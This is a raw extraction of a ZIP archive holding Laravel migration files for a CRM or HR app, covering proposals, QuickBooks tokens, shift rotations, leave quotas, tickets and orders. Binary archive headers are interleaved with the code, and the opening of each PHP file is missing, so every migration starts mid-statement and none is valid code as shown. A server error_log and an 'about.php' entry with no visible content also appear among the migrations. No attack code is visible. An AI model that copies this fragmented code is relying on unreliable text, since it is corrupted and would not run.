$table->text('hash')->nullable(); $table->integer('added_by')->unsigned()->nullable(); $table->foreign('added_by')->references('id')->on('users')->onDelete('SET NULL')->onUpdate('cascade'); $table->integer('last_updated_by')->unsigned()->nullable(); $table->foreign('last_updated_by')->references('id')->on('users')->onDelete('SET NULL')->onUpdate('cascade'); $table->timestamps(); }); Schema::create('proposal_template_items', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->bigInteger('proposal_template_id')->unsigned(); $table->foreign('proposal_template_id')->references('id')->on('proposal_templates') ->onDelete('cascade') ->onUpdate('cascade'); $table->string('hsn_sac_code'); $table->string('item_name'); $table->enum('type', ['item', 'discount', 'tax'])->default('item'); $table->tinyInteger('quantity'); $table->double('unit_price'); $table->double('amount'); $table->text('item_summary')->nullable(); $table->string('taxes')->nullable(); $table->timestamps(); }); Schema::create('proposal_template_item_images', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->integer('proposal_template_item_id')->unsigned(); $table->foreign('proposal_template_item_id')->references('id') ->on('proposal_template_items') ->onDelete('cascade') ->onUpdate('cascade'); $table->string('filename'); $table->string('hashname')->nullable(); $table->string('size')->nullable(); $table->string('external_link')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('proposal_templates'); Schema::dropIfExists('proposal_template_items'); Schema::dropIfExists('proposal_template_item_images'); } }; PKZ0 Bmigrations/2023_02_07_122807_create_quick_books_settings_table.phpnu[id(); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id') ->references('id') ->on('companies') ->onDelete('cascade') ->onUpdate('cascade'); $table->string('sandbox_client_id'); $table->string('sandbox_client_secret'); $table->string('client_id'); $table->string('client_secret'); $table->string('access_token'); $table->string('refresh_token'); $table->string('realmid'); $table->enum('sync_type', ['one_way', 'two_way'])->default('one_way'); $table->enum('environment', ['Development', 'Production'])->default('Production'); $table->boolean('status'); $table->timestamps(); }); Schema::table('invoices', function (Blueprint $table) { $table->integer('quickbooks_invoice_id')->nullable(); }); Schema::table('payments', function (Blueprint $table) { $table->integer('quickbooks_payment_id')->nullable(); }); Schema::table('client_details', function (Blueprint $table) { $table->integer('quickbooks_client_id')->nullable(); }); Schema::table('companies', function (Blueprint $table) { $table->integer('datatable_row_limit')->default(10)->after('taskboard_length'); }); Schema::table('global_settings', function (Blueprint $table) { $table->integer('datatable_row_limit')->default(10)->after('allowed_file_size'); }); $companies = Company::select('id')->get(); foreach ($companies as $company) { QuickBooksSetting::create(['status' => 0, 'company_id' => $company->id]); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('invoices', function (Blueprint $table) { $table->dropColumn('quickbooks_invoice_id'); }); Schema::table('payments', function (Blueprint $table) { $table->dropColumn('quickbooks_payment_id'); }); Schema::table('client_details', function (Blueprint $table) { $table->dropColumn('quickbooks_client_id'); }); Schema::dropIfExists('quick_books_settings'); Schema::table('companies', function (Blueprint $table) { $table->dropColumn('datatable_row_limit'); }); } }; PKZ=>Cmigrations/2023_12_26_102738_add_project_column_in_orders_table.phpnu[unsignedInteger('project_id')->nullable()->after('client_id'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('orders', function (Blueprint $table) { $table->dropColumn('project_id'); }); } }; PKZ]Fmigrations/2022_07_28_043824_add_export_column_custom_fields_table.phpnu[boolean('export')->default(0)->nullable()->after('values'); }); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('custom_fields', function (Blueprint $table) { $table->dropColumn(['export']); }); } }; PKZBB__5migrations/2024_02_02_213519_update_deal_followup.phpnu[where('next_follow_up', 'no'); $q->orWhere('next_follow_up', ''); $q->orWhere('next_follow_up', null); }) ->update(['next_follow_up' => 'yes']); DealFollowUp::where('status', 'incomplete')->update(['status' => 'pending']); } }; PKZ;5=migrations/2024_08_08_063009_update_proposal_prefix_issue.phpnu[orderBy('id')->get(); $invoiceSetting = invoice_setting(); foreach ($proposals as $proposal) { try { $lastProposal = Proposal::lastProposalNumber() + 1; $zero = ''; if (strlen($lastProposal) < $invoiceSetting->proposal_digit) { $condition = $invoiceSetting->proposal_digit - strlen($lastProposal); for ($i = 0; $i < $condition; $i++) { $zero = '0' . $zero; } } $originalNumber = $zero . $lastProposal; $proposalNumber = $invoiceSetting->proposal_prefix . $invoiceSetting->proposal_number_separator . $zero . $lastProposal; $proposal->update([ 'proposal_number' => $proposalNumber, 'original_proposal_number' => $originalNumber, ]); }catch (\Exception $e){ } } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZ{y8ZZPmigrations/2024_04_22_065735_add_notification_in_notification_settings_table.phpnu[get(); foreach ($companies as $company) { $settings[] = [ 'send_email' => 'no', 'send_push' => 'no', 'company_id' => $company->id, 'send_slack' => 'no', 'setting_name' => 'Daily Schedule Notification', 'slug' => 'daily-schedule-notification', ]; } EmailNotificationSetting::insert($settings); } /** * Reverse the migrations. */ public function down(): void { Schema::table('notification_settings', function (Blueprint $table) { EmailNotificationSetting::where('slug', 'daily-schedule-notification')->delete(); }); } }; PKZ0<migrations/2024_05_23_050905_modify_shift_schedule_table.phpnu[integer('auto_clock_out_time')->default(1)->after('office_end_time'); }); Schema::table('attendances', function (Blueprint $table) { $table->boolean('auto_clock_out')->default(0)->after('clock_out_time'); }); } /** * Reverse the migrations. */ public function down(): void { // } }; PKZGAk}|-|-migrations/about.phpnu[PKZC99Qmigrations/2024_06_03_062841_add_company_address_id_to_employee_details_table.phpnu[unsignedBigInteger('company_address_id')->nullable(); $table->foreign('company_address_id')->references('id')->on('company_addresses')->onDelete('set null'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('employee_details', function (Blueprint $table) { $table->dropForeign(['company_address_id']); $table->dropColumn('company_address_id'); }); } }; PKZ6F/""Bmigrations/2022_12_28_112213_add_new_fields_in_companies_table.phpnu[string('pm_type')->nullable(); $table->string('pm_last_four')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { } }; PKZl吭<migrations/2024_06_25_043142_create_shift_rotation_table.phpnu[increments('id'); $table->unsignedInteger('company_id')->nullable(); $table->foreign('company_id')->references('id')->on('companies')->cascadeOnDelete()->cascadeOnUpdate(); $table->string('rotation_name')->nullable(); $table->string('rotation_frequency')->nullable(); $table->string('schedule_on')->nullable(); $table->integer('rotation_date')->nullable(); $table->string('color_code')->nullable(); $table->enum('override_shift', ['yes', 'no'])->default('no'); $table->enum('status', ['active', 'inactive'])->default('active'); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('employee_shift_rotations'); } }; PKZqL@migrations/2024_04_29_124448_create_ticket_reply_users_table.phpnu[bigIncrements('id'); $table->unsignedInteger('ticket_reply_id')->index('ticket_reply_users_ticket_reply_id_foreign'); $table->unsignedInteger('user_id')->index('ticket_reply_users_user_id_foreign'); $table->foreign(['ticket_reply_id'])->references(['id'])->on('ticket_replies')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('ticket_reply_users'); } }; PKZ~YXO O Lmigrations/2024_05_06_084949_create_employee_leave_quota_histories_table.phpnu[id(); $table->unsignedInteger('user_id')->index('employee_leave_quotas_user_id_foreign'); $table->unsignedInteger('leave_type_id')->index('employee_leave_quotas_leave_type_id_foreign'); $table->foreign(['leave_type_id'])->references(['id'])->on('leave_types')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->double('no_of_leaves'); $table->double('leaves_used')->default(0); $table->double('leaves_remaining')->default(0); $table->date('for_month'); $table->timestamps(); }); $employees = User::withoutGlobalScopes()->onlyEmployee()->with(['leaveTypes', 'leaveTypes.leaveType'])->get(); $employeeLeaveQuotaHistories = []; foreach ($employees as $employee) { foreach ($employee->leaveTypes as $leaveQuota) { if (($leaveQuota->leaveType->leaveTypeCondition($leaveQuota->leaveType, $employee))) { $employeeLeaveQuotaHistories[] = [ 'user_id' => $employee->id, 'leave_type_id' => $leaveQuota->leave_type_id, 'no_of_leaves' => $leaveQuota->no_of_leaves, 'leaves_used' => $leaveQuota->leaves_used, 'leaves_remaining' => $leaveQuota->leaves_remaining, 'for_month' => now()->subMonth()->format('Y-m-01'), ]; } } } EmployeeLeaveQuotaHistory::insert($employeeLeaveQuotaHistories); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('employee_leave_quota_histories'); } }; PKZYEmigrations/2022_08_19_115209_create_project_status_settings_table.phpnu[id(); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('status_name'); $table->string('color'); $table->enum('status', ['active', 'inactive']); $table->enum('default_status', ['1', '0'])->default(0); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('project_status_settings'); } }; PKZJİ?migrations/2024_02_07_213519_update_user_lead_board_setting.phpnu[dropForeign(['board_column_id']); $table->dropColumn('board_column_id'); } }); } catch (\Exception $e) { echo $e->getMessage(); } } }; PKZ9Kmigrations/2023_03_21_090422_add_order_prefix_in_invoice_settings_table.phpnu[string('order_prefix')->default('ODR')->after('contract_digit'); $table->string('order_number_separator')->default('#')->after('order_prefix'); $table->unsignedInteger('order_digit')->default(3)->after('order_number_separator'); }); if (!Schema::hasColumn('orders', 'custom_order_number')) { Schema::table('orders', function (Blueprint $table) { $table->string('custom_order_number')->nullable()->after('company_address_id'); }); Order::query() ->update([ 'custom_order_number' => DB::raw("CONCAT('ODR#00', order_number)") ]); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('invoice_settings', function (Blueprint $table) { $table->dropColumn(['order_prefix', 'order_number_separator', 'order_digit']); }); Schema::table('orders', function (Blueprint $table) { $table->dropColumn('custom_order_number'); }); } }; PKZVv([Bmigrations/2024_07_23_052746_create_ticket_settings_for_agents.phpnu[id(); $table->unsignedInteger('user_id')->index('ticket_setting_user_id_foreign'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('ticket_scope')->nullable(); $table->text('group_id')->nullable(); $table->integer('updated_by')->unsigned()->nullable(); $table->foreign('updated_by')->references('id')->on('users')->onDelete('SET NULL')->onUpdate('cascade'); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('ticket_settings_for_agents'); } }; PKZTe==-migrations/2023_05_21_113800_add_minio_s3.phpnu[string('file')->after('remarks'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('employee_shift_schedules', function (Blueprint $table) { $table->dropColumn('file'); }); } }; PKZu9<migrations/error_lognu[[04-Jul-2025 08:12:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 08:14:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 PKZ{dd?migrations/2025_03_11_052951_alter_discussion_replies_table.phpnu[unsignedInteger('added_by')->nullable()->index('discussion_replies_added_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); }); Schema::table('pinned', function (Blueprint $table) { $table->unsignedInteger('added_by')->nullable()->index('pinned_added_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); }); Schema::table('ticket_replies', function (Blueprint $table) { $table->unsignedInteger('added_by')->nullable()->index('ticket_replies_added_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('discussion_replies', function (Blueprint $table) { $table->dropColumn('added_by'); }); Schema::table('pinned', function (Blueprint $table) { $table->dropColumn('added_by'); }); Schema::table('ticket_replies', function (Blueprint $table) { $table->dropColumn('added_by'); }); } }; PKZןⰶWmigrations/2022_09_23_053942_update_type_of_hsn_sac_code_to_proposal_template_items.phpnu[string('hsn_sac_code')->nullable()->change(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('proposal_template_items', function (Blueprint $table) { $table->dropColumn('hsn_sac_code'); }); } }; PKZPP4migrations/2024_05_24_054942_daily-schedule-hide.phpnu[update(['send_email' => 'no']); } }; PKZ,)wOwOGmigrations/2022_08_12_000000_create_other_migration_till_date_table.phpnu[version5_1_7_to_5_1_8(); } // Transition check for existence if (!Schema::hasColumn('message_settings', 'restrict_client')) { Schema::table('message_settings', function (Blueprint $table) { $table->enum('restrict_client', ['yes', 'no'])->default('no'); }); } $this->version5_1_8_to_5_1_9(); $this->version5_1_9_to_5_2_0(); $this->newVersion5_2_above(); } /** * Reverse the migrations. * * @return void */ public function down() { } private function shiftRoaster() { $admins = RoleUser::where('role_id', '1')->get(); $allTypePermisison = PermissionType::ofType('all')->first(); $module = Module::where('module_name', 'attendance')->first(); $employeeCustomPermisisons = [ 'view_shift_roster' ]; foreach ($employeeCustomPermisisons as $permission) { $perm = Permission::create([ 'name' => $permission, 'display_name' => ucwords(str_replace('_', ' ', $permission)), 'is_custom' => 1, 'module_id' => $module->id, 'allowed_permissions' => Permission::ALL_4_OWNED_2_NONE_5 ]); foreach ($admins as $item) { UserPermission::create( [ 'user_id' => $item->user_id, 'permission_id' => $perm->id, 'permission_type_id' => $allTypePermisison->id ] ); } } } private function dateFormatChange() { $setting = Company::first(); if ($setting) { switch ($setting->date_format) { case 'd-m-Y': $setting->date_picker_format = 'dd-mm-yyyy'; $setting->moment_format = 'DD-MM-YYYY'; break; case 'm-d-Y': $setting->date_picker_format = 'mm-dd-yyyy'; $setting->moment_format = 'MM-DD-YYYY'; break; case 'Y-m-d': $setting->date_picker_format = 'yyyy-mm-dd'; $setting->moment_format = 'YYYY-MM-DD'; break; case 'd.m.Y': $setting->date_picker_format = 'dd.mm.yyyy'; $setting->moment_format = 'DD.MM.YYYY'; break; case 'm.d.Y': $setting->date_picker_format = 'mm.dd.yyyy'; $setting->moment_format = 'MM.DD.YYYY'; break; case 'Y.m.d': $setting->date_picker_format = 'yyyy.mm.dd'; $setting->moment_format = 'YYYY.MM.DD'; break; case 'd/m/Y': $setting->date_picker_format = 'dd/mm/yyyy'; $setting->moment_format = 'DD/MM/YYYY'; break; case 'Y/m/d': $setting->date_picker_format = 'yyyy/mm/dd'; $setting->moment_format = 'YYYY/MM/DD'; break; case 'd-M-Y': $setting->date_picker_format = 'dd-M-yyyy'; $setting->moment_format = 'DD-MMM-YYYY'; break; case 'd/M/Y': $setting->date_picker_format = 'dd/M/yyyy'; $setting->moment_format = 'DD/MMM/YYYY'; break; case 'd.M.Y': $setting->date_picker_format = 'dd.M.yyyy'; $setting->moment_format = 'DD.MMM.YYYY'; break; case 'd M Y': $setting->date_picker_format = 'dd M yyyy'; $setting->moment_format = 'DD MMM YYYY'; break; case 'd F, Y': $setting->date_picker_format = 'dd MM, yyyy'; $setting->moment_format = 'yyyy-mm-d'; break; case 'd D M Y': $setting->date_picker_format = 'dd D M yyyy'; $setting->moment_format = 'DD ddd MMM YYYY'; break; case 'D d M Y': $setting->date_picker_format = 'D dd M yyyy'; $setting->moment_format = 'ddd DD MMMM YYYY'; break; default: $setting->date_picker_format = 'mm/dd/yyyy'; $setting->moment_format = 'DD-MM-YYYY'; break; } $setting->saveQuietly(); } } private function expenseReportPermission() { $admins = RoleUser::where('role_id', '1')->get(); $allTypePermisison = PermissionType::ofType('all')->first(); $module = Module::where('module_name', 'reports')->first(); $employeeCustomPermisisons = [ 'view_expense_report' ]; foreach ($employeeCustomPermisisons as $permission) { $perm = Permission::create([ 'name' => $permission, 'display_name' => ucwords(str_replace('_', ' ', $permission)), 'is_custom' => 1, 'module_id' => $module->id, 'allowed_permissions' => Permission::ALL_NONE ]); foreach ($admins as $item) { UserPermission::create( [ 'user_id' => $item->user_id, 'permission_id' => $perm->id, 'permission_type_id' => $allTypePermisison->id ] ); } } } private function addIndexes() { Schema::table('attendances', function (Blueprint $table) { $table->index('clock_in_time'); $table->index('clock_out_time'); }); Schema::table('leaves', function (Blueprint $table) { $table->index('leave_date'); }); Schema::table('tickets', function (Blueprint $table) { $table->index('updated_at'); }); Schema::table('tasks', function (Blueprint $table) { $table->index('due_date'); $table->index('deleted_at'); }); Schema::table('employee_shift_schedules', function (Blueprint $table) { $table->index('date'); }); Schema::table('projects', function (Blueprint $table) { $table->index('deleted_at'); }); Schema::table('holidays', function (Blueprint $table) { $table->index('date'); }); Schema::table('project_time_logs', function (Blueprint $table) { $table->index('start_time'); $table->index('end_time'); }); Schema::table('project_time_log_breaks', function (Blueprint $table) { $table->index('start_time'); $table->index('end_time'); }); Schema::table('invoices', function (Blueprint $table) { $table->index('due_date'); }); Schema::table('payments', function (Blueprint $table) { $table->index('paid_on'); }); Schema::table('project_activity', function (Blueprint $table) { $table->index('created_at'); }); Schema::table('user_activities', function (Blueprint $table) { $table->index('created_at'); }); } // phpcs:ignore private function version5_1_7_to_5_1_8() { Schema::table('attendance_settings', function (Blueprint $table) { $table->enum('show_clock_in_button', ['yes', 'no'])->default('no')->after('allow_shift_change'); }); Schema::table('invoice_settings', function (Blueprint $table) { $table->integer('show_project')->default(0)->after('tax_calculation_msg'); }); Schema::table('employee_details', function (Blueprint $table) { $table->text('calendar_view')->after('date_of_birth')->nullable(); }); Schema::table('lead_custom_forms', function (Blueprint $table) { $table->unsignedInteger('custom_fields_id')->after('id')->nullable(); $table->foreign('custom_fields_id')->references('id')->on('custom_fields') ->onUpdate('cascade') ->onDelete('cascade'); }); Schema::table('ticket_custom_forms', function (Blueprint $table) { $table->unsignedInteger('custom_fields_id')->after('id')->nullable(); $table->foreign('custom_fields_id')->references('id')->on('custom_fields') ->onUpdate('cascade') ->onDelete('cascade'); }); DB::table('custom_field_groups')->insert( [ 'name' => 'Ticket', 'model' => 'App\Models\Ticket', ] ); $this->shiftRoaster(); Schema::table('users', function (Blueprint $table) { $table->boolean('google_calendar_status')->default(true); }); $widgets = [ ['widget_name' => 'profile', 'status' => 1, 'dashboard_type' => 'private-dashboard'], ['widget_name' => 'shift_schedule', 'status' => 1, 'dashboard_type' => 'private-dashboard'], ['widget_name' => 'birthday', 'status' => 1, 'dashboard_type' => 'private-dashboard'], ['widget_name' => 'notices', 'status' => 1, 'dashboard_type' => 'private-dashboard'], ['widget_name' => 'tasks', 'status' => 1, 'dashboard_type' => 'private-dashboard'], ['widget_name' => 'projects', 'status' => 1, 'dashboard_type' => 'private-dashboard'], ['widget_name' => 'my_task', 'status' => 1, 'dashboard_type' => 'private-dashboard'], ['widget_name' => 'my_calender', 'status' => 1, 'dashboard_type' => 'private-dashboard'], ]; foreach ($widgets as $widget) { \App\Models\DashboardWidget::create($widget); } Schema::table('project_milestones', function (Blueprint $table) { $table->date('start_date')->nullable(); $table->date('end_date')->nullable(); }); Schema::table('attendances', function (Blueprint $table) { $table->dateTime('shift_start_time')->nullable(); $table->dateTime('shift_end_time')->nullable(); $table->bigInteger('employee_shift_id')->unsigned()->nullable(); $table->foreign('employee_shift_id')->references('id')->on('employee_shifts')->onDelete('SET NULL')->onUpdate('cascade'); }); Schema::table('invoice_settings', function (Blueprint $table) { $table->enum('reminder', ['after', 'every'])->after('send_reminder')->nullable(); $table->integer('send_reminder_after')->after('reminder')->default(0); }); Schema::table('employee_shift_schedules', function (Blueprint $table) { $table->dateTime('shift_start_time')->nullable(); $table->dateTime('shift_end_time')->nullable(); }); $existingSchedules = \App\Models\EmployeeShiftSchedule::whereDate('date', '>=', now()->subDay()->toDateString())->get(); if ($existingSchedules) { foreach ($existingSchedules as $item) { $item->shift_start_time = $item->date->toDateString() . ' ' . $item->shift->office_start_time; if (\Carbon\Carbon::parse($item->shift->office_start_time)->gt(\Carbon\Carbon::parse($item->shift->office_end_time))) { $item->shift_end_time = $item->date->addDay()->toDateString() . ' ' . $item->shift->office_end_time; } else { $item->shift_end_time = $item->date->toDateString() . ' ' . $item->shift->office_end_time; } $item->save(); } } $employees = \App\Models\EmployeeDetails::all(); foreach ($employees as $employee) { $employee->calendar_view = 'task,events,holiday,tickets,leaves'; $employee->save(); } Schema::table('task_label_list', function (Blueprint $table) { $table->unsignedInteger('project_id')->after('id')->nullable(); $table->foreign('project_id')->references('id')->on('projects') ->onDelete('cascade') ->onUpdate('cascade'); }); } // phpcs:ignore private function version5_1_8_to_5_1_9() { $companySettings = Company::first(); if (!Schema::hasColumn('companies', 'app_name')) { Schema::table('companies', function (Blueprint $table) { $table->string('app_name')->nullable()->after('company_name'); }); if ($companySettings) { $companySettings->app_name = $companySettings->company_name; $companySettings->saveQuietly(); } $this->dateFormatChange(); } if ($companySettings) { $log = CustomFieldGroup::where('model', 'App\Models\ProjectTimeLog')->first(); if (!$log) { DB::table('custom_field_groups')->insert( [ 'name' => 'Time Log', 'model' => 'App\Models\ProjectTimeLog', ] ); } } } // phpcs:ignore private function version5_1_9_to_5_2_0() { if (!Schema::hasColumn('employee_shift_schedules', 'remarks')) { Schema::table('employee_shift_schedules', function (Blueprint $table) { $table->text('remarks')->nullable(); }); } if (!Schema::hasColumn('employee_shift_change_requests', 'reason')) { Schema::table('employee_shift_change_requests', function (Blueprint $table) { $table->text('reason')->nullable(); }); } if (!Schema::hasColumn('invoices', 'custom_invoice_number')) { Schema::table('invoices', function (Blueprint $table) { $table->string('custom_invoice_number')->nullable(); }); $invoices = \App\Models\Invoice::select('id', 'invoice_number')->get(); if ($invoices->count() > 0) { foreach ($invoices as $invoice) { \App\Models\Invoice::where('id', $invoice->id)->update(['custom_invoice_number' => $invoice->invoice_number]); } } \App\Models\ModuleSetting::where('module_name', 'dashboards')->where('type', 'employee')->delete(); $widgets = [ ['widget_name' => 'week_timelog', 'status' => 1, 'dashboard_type' => 'private-dashboard'], ]; foreach ($widgets as $widget) { \App\Models\DashboardWidget::create($widget); } } if (!Schema::hasColumn('companies', 'license_type')) { Schema::table('companies', function (Blueprint $table) { $table->string('license_type', 20)->after('purchase_code')->nullable(); }); } if (!Schema::hasColumn('tasks', 'deleted_at')) { $this->expenseReportPermission(); Schema::table('tasks', function (Blueprint $table) { $table->softDeletes(); }); $deletedProjects = \App\Models\Project::onlyTrashed()->get(); foreach ($deletedProjects as $key => $project) { $project->tasks()->delete(); } $widgets = [ ['widget_name' => 'total_today_attendance', 'status' => 1, 'dashboard_type' => 'admin-hr-dashboard'], ]; foreach ($widgets as $widget) { \App\Models\DashboardWidget::create($widget); } } if (!Schema::hasColumn('custom_fields', 'export')) { Schema::table('custom_fields', function (Blueprint $table) { $table->boolean('export')->default(0)->nullable()->after('values'); }); } } // phpcs:ignore private function newVersion5_2_above() { // NEW VERSION if (!Schema::hasColumn('employee_details', 'about_me')) { $this->addIndexes(); Schema::table('employee_details', function (Blueprint $table) { $table->text('about_me')->nullable(); $table->integer('reporting_to')->unsigned()->nullable(); $table->foreign('reporting_to')->references('id')->on('users')->onDelete('SET NULL')->onUpdate('cascade'); }); } if (!Schema::hasColumn('attendance_settings', 'auto_clock_in')) { Schema::table('attendance_settings', function (Blueprint $table) { $table->enum('auto_clock_in', ['yes', 'no'])->after('id')->default('no'); }); } if (!Schema::hasColumn('leaves', 'approved_by')) { Schema::table('leaves', function (Blueprint $table) { $table->integer('approved_by')->unsigned()->nullable(); $table->foreign('approved_by')->references('id')->on('users')->onDelete('SET NULL')->onUpdate('cascade'); $table->string('half_day_type')->nullable(); $table->dateTime('approved_at')->nullable(); }); } if (!Schema::hasColumn('leave_types', 'monthly_limit')) { Schema::table('leave_types', function (Blueprint $table) { $table->integer('monthly_limit')->default(0); }); } if (!Schema::hasColumn('teams', 'parent_id')) { Schema::table('teams', function (Blueprint $table) { $table->integer('parent_id')->unsigned()->nullable()->after('team_name'); }); } if (!Schema::hasTable('knowledge_base_files')) { Schema::create('knowledge_base_files', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->integer('knowledge_base_id')->unsigned(); $table->foreign('knowledge_base_id') ->references('id') ->on('knowledge_bases') ->onDelete('cascade') ->onUpdate('cascade'); $table->string('filename', 200)->nullable(); $table->string('hashname', 200)->nullable(); $table->string('size', 200)->nullable(); $table->string('external_link_name')->nullable(); $table->text('external_link')->nullable(); $table->integer('added_by')->unsigned()->nullable(); $table->foreign('added_by')->references('id')->on('users')->onDelete('SET NULL')->onUpdate('cascade'); $table->integer('last_updated_by')->unsigned()->nullable(); $table->foreign('last_updated_by')->references('id')->on('users')->onDelete('SET NULL')->onUpdate('cascade'); $table->timestamps(); }); } } }; PKZ 0SS5migrations/2024_08_22_101139_add_lead_permissions.phpnu[first(); if ($permission) { $permission->allowed_permissions = Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5; $permission->save(); } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZP`NN8migrations/2022_10_31_130459_order_with_order_number.phpnu[bigInteger('order_number')->after('id')->nullable(); }); Schema::table('tickets', function (Blueprint $table) { $table->bigInteger('ticket_number')->after('id')->nullable(); }); $companies = Company::select('id')->get(); foreach ($companies as $company) { $orders = Order::where('company_id', $company->id)->get(); foreach ($orders as $key => $order) { $order->order_number = $key + 1; $order->saveQuietly(); } $tickets = Ticket::where('company_id', $company->id)->get(); foreach ($tickets as $key => $ticket) { $ticket->ticket_number = $key + 1; $ticket->saveQuietly(); } } Schema::table('invoices', function (Blueprint $table) { $table->bigInteger('invoice_number')->change(); }); Schema::table('estimates', function (Blueprint $table) { $table->bigInteger('estimate_number')->change(); }); } /** * Reverse the migrations. * * @return void */ public function down() { // } }; PKZ|ss?migrations/2024_06_27_080827_insert_row_in_taskboard_column.phpnu[get(); foreach ($companies as $company) { $values[] = [ 'column_name' => 'Waiting Approval', 'slug' => 'waiting-approval', 'label_color' => '#000', 'company_id' => $company->id, 'priority' => 5, ]; } TaskboardColumn::insert($values); Schema::table('tasks', function (Blueprint $table) { $table->enum('approval_send', ['0', '1'])->default('0'); }); Schema::table('projects', function (Blueprint $table) { $table->enum('need_approval_by_admin', ['0', '1'])->default('0'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('tasks', function (Blueprint $table) { $table->dropColumn('approval_send'); }); Schema::table('projects', function (Blueprint $table) { $table->dropColumn('need_approval_by_admin'); }); } }; PKZ /^^:migrations/2024_03_07_100454_add_column_in_users_table.phpnu[date('inactive_date')->nullable(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('users', function (Blueprint $table) { $table->dropColumn('inactive_date'); }); } }; PKZUmigrations/2024_06_14_105841_add_column_in_leavetype_and_employeeleavequota_table.phpnu[enum('leavetype', ['monthly', 'yearly'])->nullable(); }); Schema::table('employee_leave_quotas', function (Blueprint $table) { $table->text('carry_forward_status')->nullable(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('leave_types', function (Blueprint $table) { $table->dropColumn('leavetype'); }); Schema::table('employee_leave_quotas', function (Blueprint $table) { $table->dropColumn('carry_forward_status'); }); } }; PKZNwIILmigrations/2024_05_30_062721_add_added_by_column_in_lead_pipelines_table.phpnu[integer('added_by')->nullable()->default(null); }); } public function down(): void { Schema::table('lead_pipelines', function (Blueprint $table) { $table->dropColumn('added_by'); }); } }; PKZFLzz?migrations/2024_06_21_070747_create_estimate_requests_table.phpnu[id(); $table->unsignedInteger('client_id'); $table->foreign('client_id')->references('id')->on('users')->onDelete('cascade')->onUpdate('cascade'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->integer('estimate_id')->unsigned()->nullable(); $table->foreign('estimate_id')->references('id')->on('estimates')->onDelete('cascade')->onUpdate('cascade'); $table->longText('description'); $table->double('estimated_budget', 16, 2); $table->integer('project_id')->unsigned()->nullable(); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('cascade')->onDelete('cascade'); $table->text('early_requirement')->nullable(); $table->unsignedInteger('currency_id')->nullable(); $table->foreign('currency_id')->references('id')->on('currencies')->onDelete('set null')->onUpdate('cascade'); $table->enum('status', ['pending', 'rejected', 'accepted', 'in process'])->default('pending'); $table->text('reason'); $table->timestamps(); }); }; } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('estimate_requests'); } }; PKZ4]]Mmigrations/2023_04_19_100128_add_auth_theme_text_to_global_settings_table.phpnu[enum('auth_theme_text', ['dark', 'light'])->after('auth_theme')->default('dark'); }); Schema::table('companies', function (Blueprint $table) { 